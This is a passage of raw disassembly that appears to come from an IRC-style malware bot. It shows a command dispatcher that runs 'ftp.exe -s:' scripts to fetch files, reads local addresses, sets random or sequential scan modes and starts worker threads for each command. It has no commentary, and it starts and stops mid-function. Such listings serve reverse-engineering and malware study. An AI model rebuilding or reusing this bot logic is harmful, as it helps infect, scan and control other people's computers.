		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5C0
		push	[ebp+Source]
		test	eax, eax
		push	esi		; Format
		jz	short loc_4073F4
		push	offset unk_42AD0C
		jmp	short loc_4073F9
; ---------------------------------------------------------------------------


loc_4073F4:				; CODE XREF: sub_401ACD+591Ej
		push	offset asc_42ACDC ; "-"


loc_4073F9:				; CODE XREF: sub_401ACD+5925j
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407422
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 14h


loc_407422:				; CODE XREF: sub_401ACD+5937j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD


loc_40742E:				; CODE XREF: sub_401ACD+5986j
		lea	eax, [ebp+Filename]
		push	4
		push	eax
		call	sub_416909
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+Filename]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742E
; ---------------------------------------------------------------------------


loc_407455:				; CODE XREF: sub_401ACD+57E6j
		push	[ebp+Source]	; Str
		call	_atoi
		push	edi		; Str
		mov	[ebp+var_370], eax
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_358], eax
		call	_atoi
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_40748E
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_40748E:				; CODE XREF: sub_401ACD+59B6j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749B
		mov	[ebp+var_36C], ecx


loc_40749B:				; CODE XREF: sub_401ACD+59C6j
		push	[ebp+arg_18]	; Str
		call	_atoi
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BD
		mov	[ebp+var_368], eax


loc_4074BD:				; CODE XREF: sub_401ACD+59E8j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431B00, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750C
		mov	edi, offset dword_431B00


loc_4074D4:				; CODE XREF: sub_401ACD+5A21j
		push	[ebp+Source]	; Str2
		lea	eax, [edi-28h]
		push	eax		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F2
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D4
		jmp	short loc_40750C
; ---------------------------------------------------------------------------


loc_4074F2:				; CODE XREF: sub_401ACD+5A17j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431B00[ecx]
		mov	[ebp+var_370], ecx


loc_40750C:				; CODE XREF: sub_401ACD+5A00j
					; sub_401ACD+5A23j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751E
		push	offset unk_42ACA8
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40751E:				; CODE XREF: sub_401ACD+5A45j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+Src], edi
		jz	short loc_407559
		cmp	byte ptr [edi],	23h
		jz	short loc_407559
		push	edi		; Format
		lea	eax, [ebp+var_484]
		push	10h		; Count
		push	eax		; Dest
		call	__snprintf
		push	78h		; Val
		push	edi		; Str
		call	_strchr
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407633
; ---------------------------------------------------------------------------


loc_407559:				; CODE XREF: sub_401ACD+5A5Aj
					; sub_401ACD+5A5Fj
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757B
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757B
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757B
		push	offset unk_42AC74
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_40757B:				; CODE XREF: sub_401ACD+5A92j
					; sub_401ACD+5A9Aj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB5F8	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi		; Args
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]	; Count
		call	dword_4CB6E0	; inet_ntoa
		push	eax		; Source
		lea	eax, [ebp+var_484]
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762D
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h		; Ch
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax		; Str
		call	_strrchr
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+File+3], bl
		jle	short loc_407621


loc_4075FF:				; CODE XREF: sub_401ACD+5B52j
		cmp	eax, ebx
		jz	short loc_407621
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h		; Ch
		push	eax		; Str
		call	_strrchr
		inc	byte ptr [ebp+File+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+File+3]
		cmp	ecx, edi
		jl	short loc_4075FF


loc_407621:				; CODE XREF: sub_401ACD+5B30j
					; sub_401ACD+5B34j
		mov	[ebp+var_344], 1
		jmp	short loc_407633
; ---------------------------------------------------------------------------


loc_40762D:				; CODE XREF: sub_401ACD+5B0Aj
		mov	[ebp+var_344], ebx


loc_407633:				; CODE XREF: sub_401ACD+5A87j
					; sub_401ACD+5B5Ej
		mov	eax, [ebp+arg_4]
		push	[ebp+Format]	; Format
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407684


loc_407671:				; CODE XREF: sub_401ACD+5BDAj
		push	esi		; Format


loc_407672:				; CODE XREF: sub_401ACD+5BC4j
		lea	eax, [ebp+var_3F4]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		jmp	short loc_4076AF
; ---------------------------------------------------------------------------


loc_407684:				; CODE XREF: sub_401ACD+5BA2j
		mov	eax, [ebp+Src]
		cmp	eax, ebx
		jz	short loc_407693
		cmp	byte ptr [eax],	23h
		jnz	short loc_407693
		push	eax
		jmp	short loc_407672
; ---------------------------------------------------------------------------


loc_407693:				; CODE XREF: sub_401ACD+5BBCj
					; sub_401ACD+5BC1j
		mov	esi, offset aF	; "#f"
		push	offset byte_43D808 ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407671
		mov	[ebp+var_3F4], bl


loc_4076AF:				; CODE XREF: sub_401ACD+5BB5j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C1
		mov	eax, offset aSequential	; "Sequential"


loc_4076C1:				; CODE XREF: sub_401ACD+5BEDj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42AC0C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset sub_40C33D
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40774F


loc_407739:				; CODE XREF: sub_401ACD+5C80j
		cmp	[ebp+var_340], ebx
		jnz	loc_40828C
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_407739
; ---------------------------------------------------------------------------


loc_40774F:				; CODE XREF: sub_401ACD+5C6Aj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42ABD4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_407760:				; CODE XREF: sub_401ACD+4F6Bj
					; sub_401ACD+4F82j
		push	[ebp+Source]
		call	sub_40AAFA
		push	edi		; Str
		mov	[ebp+var_4E0], eax
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_4F0], eax
		call	_atoi
		push	[ebp+arg_18]	; Str
		mov	[ebp+var_4EC], eax
		call	_atoi
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax		; Dest
		call	_strncpy
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42AB84 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset sub_40C75A
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407855


loc_40783F:				; CODE XREF: sub_401ACD+5D86j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA1
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_40783F
; ---------------------------------------------------------------------------


loc_407855:				; CODE XREF: sub_401ACD+5D70j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AB48
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407866:				; CODE XREF: sub_401ACD+4F2Ej
					; sub_401ACD+4F45j
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E5A8[eax], bl
		jz	loc_409855
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi		; Str
		call	_strlen
		push	[ebp+Source]	; Str
		mov	esi, eax
		call	_strlen
		push	[ebp+arg_8]	; Str
		add	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+Src]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+Dst]
		push	esi
		push	offset dword_42AB3C ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409855
		push	[ebp+Source]	; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+Source]	; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	ebx		; int
		push	eax		; int
		push	edi		; Str
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax] ; int
		call	sub_409A73
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E390[eax], 73h
		jnz	loc_409855
		push	esi
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E5A8
		push	eax
		push	edi
		push	offset aSSS	; "[%s]	* %s %s"
		jmp	loc_407A36
; ---------------------------------------------------------------------------


loc_40795E:				; CODE XREF: sub_401ACD+4F00j
					; sub_401ACD+4F17j
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E5A8[eax], bl
		jz	loc_409855
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi		; Str
		call	_strlen
		push	[ebp+Source]	; Str
		mov	esi, eax
		call	_strlen
		push	[ebp+arg_8]	; Str
		add	esi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+Src]	; SubStr
		lea	eax, [eax+esi+2]
		push	eax		; Str
		call	_strstr
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409855
		push	[ebp+Source]	; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+Source]	; Str
		call	_atoi
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx		; int
		push	ebx		; int
		push	esi		; int
		push	edi		; Str
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax] ; int
		call	sub_409A73
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E390[eax], 73h
		jnz	loc_409855
		push	esi
		push	[ebp+Source]	; Str
		call	_atoi
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E5A8
		push	eax
		push	edi
		push	offset aSSS_0	; "[%s]	<%s> %s"


loc_407A36:				; CODE XREF: sub_401ACD+5E8Cj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 28h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_407A63:				; CODE XREF: sub_401ACD+4ED2j
					; sub_401ACD+4EE9j
		push	[ebp+Source]
		call	dword_4CB694	; inet_addr
		push	edi		; Str
		mov	[ebp+var_680], eax
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_690], eax
		call	_atoi
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax		; Dest
		call	_strncpy
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42AAE0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset sub_40C669
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407B45


loc_407B2F:				; CODE XREF: sub_401ACD+6076j
		cmp	[ebp+var_670], ebx
		jnz	loc_403DA1
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_407B2F
; ---------------------------------------------------------------------------


loc_407B45:				; CODE XREF: sub_401ACD+6060j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42ABD4
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407B56:				; CODE XREF: sub_401ACD+4EA4j
					; sub_401ACD+4EBBj
		push	[ebp+Source]	; Str
		call	_atoi
		mov	[ebp+var_112C],	eax
		push	7Fh		; Count
		lea	eax, [ebp+var_1230]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+Src]	; Str
		call	_atoi
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1130],	eax
		lea	eax, [ebp+var_11B0]
		push	[ebp+Format]	; Format
		mov	[ebp+var_1238],	esi
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_111C],	eax
		push	[ebp+var_1130]
		lea	eax, [ebp+var_1230]
		mov	[ebp+var_1120],	edi
		push	eax
		push	[ebp+var_112C]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42AAA4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	18h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_1128],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1238]
		push	ebx
		push	eax
		push	offset sub_4103AB
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_1128]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407C42


loc_407C2C:				; CODE XREF: sub_401ACD+6173j
		cmp	[ebp+var_1118],	ebx
		jnz	loc_403DA1
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_407C2C
; ---------------------------------------------------------------------------


loc_407C42:				; CODE XREF: sub_401ACD+615Dj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AA60
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_407C53:				; CODE XREF: sub_401ACD+4E76j
					; sub_401ACD+4E8Dj
		push	0FFh		; Count
		lea	eax, [ebp+var_2878]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	0FFh		; Count
		lea	eax, [ebp+var_2778]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	[ebp+Src]	; Str
		mov	[ebp+var_2674],	ebx
		call	_atoi
		mov	[ebp+var_2670],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407CAC
		push	10h		; Radix
		push	ebx		; EndPtr
		push	eax		; Str
		call	_strtoul
		add	esp, 0Ch
		mov	[ebp+var_2668],	eax
		jmp	short loc_407CB2
; ---------------------------------------------------------------------------


loc_407CAC:				; CODE XREF: sub_401ACD+61C9j
		mov	[ebp+var_2668],	ebx


loc_407CB2:				; CODE XREF: sub_401ACD+61DDj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407CC9
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_266C],	eax
		jmp	short loc_407CCF
; ---------------------------------------------------------------------------


loc_407CC9:				; CODE XREF: sub_401ACD+61EBj
		mov	[ebp+var_266C],	ebx


loc_407CCF:				; CODE XREF: sub_401ACD+61FAj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh		; Count
		push	[ebp+Format]	; Source
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_28F8]
		mov	[ebp+var_28FC],	esi
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_265C],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_2660],	eax
		push	[ebp+Source]
		lea	eax, [ebp+Dst]
		push	offset asc_42AA34 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	1Dh		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2678],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_28FC]
		push	ebx
		push	eax
		push	offset sub_4163FA
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_2678]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407D80


loc_407D6A:				; CODE XREF: sub_401ACD+62B1j
		cmp	[ebp+var_2658],	ebx
		jnz	loc_407279
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_407D6A
; ---------------------------------------------------------------------------


loc_407D80:				; CODE XREF: sub_401ACD+629Bj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A9F4
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407D91:				; CODE XREF: sub_401ACD+4E48j
					; sub_401ACD+4E5Fj
		push	7Fh
		lea	eax, [ebp+var_3490]
		pop	esi
		push	esi		; Count
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3410]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3390]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3310]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_328C],	eax
		push	[ebp+Src]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3288],	eax
		lea	eax, [ebp+Dst]
		push	edi
		mov	[ebp+var_3494],	esi
		push	[ebp+Source]
		push	offset asc_42A9B8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	12h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3290],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3494]
		push	ebx
		push	eax
		push	offset sub_414A92
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_3290]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407E68


loc_407E52:				; CODE XREF: sub_401ACD+6399j
		cmp	[ebp+var_3284],	ebx
		jnz	loc_407279
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_407E52
; ---------------------------------------------------------------------------


loc_407E68:				; CODE XREF: sub_401ACD+6383j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A980
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407E79:				; CODE XREF: sub_401ACD+4D1Bj
					; sub_401ACD+4D32j
		push	7Fh
		lea	eax, [ebp+var_3068]
		pop	esi
		push	esi		; Count
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_2FE8]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_2F68]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_2EE8]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E64],	eax
		push	[ebp+Src]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E60],	eax
		lea	eax, [ebp+Dst]
		push	edi
		mov	[ebp+var_306C],	esi
		push	[ebp+Source]
		push	offset asc_42A950 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Eh		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_2E68],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_306C]
		push	ebx
		push	eax
		push	offset sub_4137CD
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_2E68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407F50


loc_407F3A:				; CODE XREF: sub_401ACD+6481j
		cmp	[ebp+var_2E5C],	ebx
		jnz	loc_407279
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_407F3A
; ---------------------------------------------------------------------------


loc_407F50:				; CODE XREF: sub_401ACD+646Bj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A918
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_407F61:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j ...
		push	7Fh
		lea	eax, [ebp+var_3CE4]
		pop	esi
		push	esi		; Count
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3C64]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3BE4]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3B64]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		push	20h		; Count
		lea	eax, [ebp+var_3AE4]
		push	[ebp+arg_8]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A64],	eax
		push	[ebp+Src]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A60],	eax
		lea	eax, [ebp+Dst]
		push	edi
		mov	[ebp+var_3CEC],	esi
		push	[ebp+Source]
		push	offset asc_42A8E8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	0Dh		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_3CE8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CEC]
		push	ebx
		push	eax
		push	offset sub_412A54
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_3CE8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408049


loc_408033:				; CODE XREF: sub_401ACD+657Aj
		cmp	[ebp+var_3A5C],	ebx
		jnz	loc_407279
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_408033
; ---------------------------------------------------------------------------


loc_408049:				; CODE XREF: sub_401ACD+6564j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A8B0
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_40805A:				; CODE XREF: sub_401ACD+4BC4j
					; sub_401ACD+4BDBj
		push	7Fh		; Count
		lea	eax, [ebp+var_1778]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	edi		; Str
		call	_atoi
		push	3Fh		; Count
		mov	[ebp+var_1628],	eax
		push	[ebp+Src]	; Source
		lea	eax, [ebp+var_16F8]
		push	eax		; Dest
		call	_strncpy
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_4080A5
		push	3Fh		; Count
		lea	eax, [ebp+var_16B8]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_4080A5:				; CODE XREF: sub_401ACD+65C4j
		lea	eax, [ebp+var_16F8]
		mov	[ebp+var_1624],	1
		push	eax
		lea	eax, [ebp+var_1778]
		push	[ebp+var_1628]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_42A880 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	1Fh		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1620],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_177C]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_1620]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_408131


loc_40811B:				; CODE XREF: sub_401ACD+6662j
		cmp	[ebp+var_161C],	ebx
		jnz	loc_406CDF
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_40811B
; ---------------------------------------------------------------------------


loc_408131:				; CODE XREF: sub_401ACD+664Cj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42A844
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_408142:				; CODE XREF: sub_401ACD+4B84j
					; sub_401ACD+4B9Bj
		push	edi		; Str
		call	_atoi
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D64],	eax
		jle	loc_408235
		push	[ebp+Source]	; Format
		mov	esi, 80h
		lea	eax, [ebp+var_1EEC]
		push	esi		; Count
